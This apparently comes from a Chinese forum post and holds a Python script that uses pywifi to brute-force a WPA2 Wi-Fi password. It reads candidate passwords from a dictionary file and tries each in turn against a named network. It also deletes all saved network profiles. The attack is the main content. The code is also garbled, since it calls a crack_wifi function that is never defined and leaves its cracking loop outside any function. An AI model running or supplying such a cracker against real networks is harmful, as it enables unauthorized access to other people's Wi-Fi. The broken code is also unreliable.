|
马上注册,结交更多好友,享用更多功能^_^
您需要 登录 才可以下载或查看,没有账号?立即注册
x
#导入相关的包
import sys
import time
import platform
import logging
import pywifi
from pywifi import const
pywifi.set_loglevel(logging.INFO)
def scan_wifi():
#初始化wifi模块
wifi = pywifi.PyWiFi()
#初始化网卡,一般人只有一块网卡,也就是0(第一块)
iface = wifi.interfaces()[0]
#执行wifi扫描
iface.scan()
#等待5s
time.sleep(5)
#扫描wifi结果
result = iface.scan_results()
#取出wifi的名字作为返回
wifiname=[]
for i in result:
wifiname.append(i.ssid)
return(wifiname)
def connect_wifi(name,password):
#初始化wifi模块
wifi = pywifi.PyWiFi()
#初始化网卡
iface = wifi.interfaces()[0]
#断开WiFi连接
iface.disconnect()
#等待1s(等待断开完成,可以设置2s,但一般1s都挺长的了)
time.sleep(1)
assert iface.status() in\
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
#初始化wifi连接
profile = pywifi.Profile()
#初始化wifi连接的名字
profile.ssid = name
#初始化wifi连接用的网卡的状态
profile.auth = const.AUTH_ALG_OPEN
#初始化wifi连接的加密算法——WPA2
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#初始化wifi连接的密码类型
profile.cipher = const.CIPHER_TYPE_CCMP
#初始化wifi连接用的密码
profile.key = password
#删除网卡上连接过的wifi文件(注意可能会遗忘原本的密码)
iface.remove_all_network_profiles()
#初始化wifi配置完成
tmp_profile = iface.add_network_profile(profile)
#网卡连接wifi
iface.connect(tmp_profile)
#等待4s
time.sleep(4)
#如果连接状态=IFACE_CONNECTED(连接成功),那么connect_wifi返回真
if iface.status() == const.IFACE_CONNECTED:
return True
else:
return False
#控制台打印要破解的wifi名
print('开始解密wifi名:'+name)
print(' ')
#密码字典(可以理解为一本新华字典,字典的内容都是密码)
path = 'pass.txt'
#将密码字典导入到程序
filename = open(path, 'r')
#开始解密
while True:
try:
#每一次循环取一行密码
passStr = filename.readline()
#用密码去连接wifi,并获取wifi连接的结果
bool1 = connect_wifi(name,passStr)
#判断结果
if bool1:
print(passStr,'是正确的密码哦')
break
else:
print(passStr,'不是正确的密码哦')
except:
continue
crack_wifi('706')
|
|